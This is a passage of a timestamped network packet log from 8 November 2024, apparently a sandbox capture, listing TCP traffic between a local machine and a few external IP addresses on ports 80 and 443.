Nov 8, 2024 15:21:26.494159937 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494172096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494198084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494247913 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494366884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494378090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494388103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494398117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494424105 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494469881 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494508028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494561911 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494597912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494610071 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494620085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494641066 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494667053 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494728088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494740009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494749069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494786024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494786024 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.494968891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.494980097 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495004892 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495014906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495026112 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495028019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495028019 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495037079 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495049000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495058060 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495066881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495078087 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495094061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495094061 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495167017 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495394945 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495407104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495417118 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495429039 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495440960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495469093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495469093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495493889 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495635986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495646000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495656967 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495696068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495696068 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495798111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495810032 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495819092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495831013 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495841980 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495853901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495867968 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495873928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495873928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495884895 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.495893955 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.495930910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496318102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496329069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496337891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496349096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496361017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496371984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496381998 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496382952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496382952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496402025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496413946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496414900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496424913 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496437073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496448040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496459007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496460915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496460915 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496471882 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.496498108 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496505022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.496548891 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.497060061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497071028 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497080088 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497090101 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497107029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497117043 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497127056 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497138023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497143030 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.497149944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497162104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497174025 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497179985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.497179985 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.497185946 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:26.497215033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.497215033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.573980093 CET	49779	443	192.168.2.8	162.159.61.3
Nov 8, 2024 15:21:26.574022055 CET	443	49779	162.159.61.3	192.168.2.8
Nov 8, 2024 15:21:26.997454882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:26.997454882 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:27.002350092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:27.002370119 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:27.778902054 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:27.780322075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:27.852754116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:27.857589960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.133353949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.133363962 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.133377075 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.133388042 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.133445978 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:28.133477926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:28.143119097 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:28.148400068 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.423021078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:28.423075914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:28.462532043 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:28.467505932 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:29.694113016 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:29.694226027 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:29.756165981 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:29.761492014 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:30.037296057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:30.037380934 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:30.041892052 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.046822071 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.046916962 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.047002077 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.051824093 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.116053104 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:30.116111040 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:30.116235018 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:30.116638899 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:30.116652012 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:30.955003977 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955037117 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955048084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955096960 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.955127954 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.955142975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955153942 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955162048 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955180883 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.955210924 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.955302000 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955319881 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955332041 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955338001 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.955343962 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.955367088 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.955394983 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.960176945 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.960253954 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:30.960268021 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.960278034 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:30.960309029 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.032262087 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.032334089 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.034425974 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.034451008 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.034684896 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.038666964 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.083343029 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.108427048 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.108474970 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.108484983 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.108515978 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.108541012 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.108582973 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.108617067 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.108661890 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.108694077 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.108808994 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.108844995 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109206915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109216928 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109256983 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109258890 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109268904 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109289885 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109317064 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109381914 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109394073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109415054 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109435081 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109817028 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109862089 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109875917 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109888077 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.109909058 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.109925032 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.110008001 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110019922 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110040903 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.110058069 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.110696077 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110740900 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.110754967 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110766888 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110786915 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.110802889 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.110881090 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110891104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.110914946 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.111557961 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.111604929 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.114244938 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.114326954 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.114514112 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.114557981 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.262350082 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262361050 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262372017 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262445927 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.262612104 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262620926 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262651920 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.262686014 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.262741089 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262753963 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262799025 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.262892008 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262902021 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262912035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262924910 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262929916 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.262955904 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262967110 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.262967110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263000965 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263103008 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263113976 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263123035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263134956 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263153076 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263171911 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263219118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263263941 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263298035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263308048 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263334990 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263351917 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263358116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263369083 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263411999 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263593912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263629913 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263647079 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263657093 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263695955 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263848066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263859034 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263868093 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263879061 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.263886929 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.263919115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264177084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264189005 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264199018 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264239073 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264448881 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264465094 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264475107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264492035 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264520884 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264566898 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264605045 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264693975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264703035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264712095 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264722109 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264750004 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264780045 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.264888048 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264898062 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264906883 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.264941931 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.265475988 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.265486002 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.265522957 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.265672922 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.265820980 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.265893936 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.265940905 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.341687918 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.341721058 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.341736078 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.341912031 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.341942072 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.341989040 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.344827890 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.344861984 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.344912052 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.344917059 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.344928980 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.344942093 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.344979048 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.346452951 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.346488953 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.346503973 CET	49841	443	192.168.2.8	52.149.20.212
Nov 8, 2024 15:21:31.346510887 CET	443	49841	52.149.20.212	192.168.2.8
Nov 8, 2024 15:21:31.415894985 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.415936947 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.415946007 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416026115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416079044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416090012 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416100979 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416112900 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416129112 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416146040 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416205883 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416218042 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416228056 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416239977 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416254997 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416269064 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416290998 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416409969 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416448116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416450977 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416459084 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416479111 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416492939 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416596889 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416605949 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416615963 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416626930 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416639090 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416640043 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416661978 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416678905 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:31.416810036 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416882038 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:31.416922092 CET	49840	80	192.168.2.8	185.215.113.16
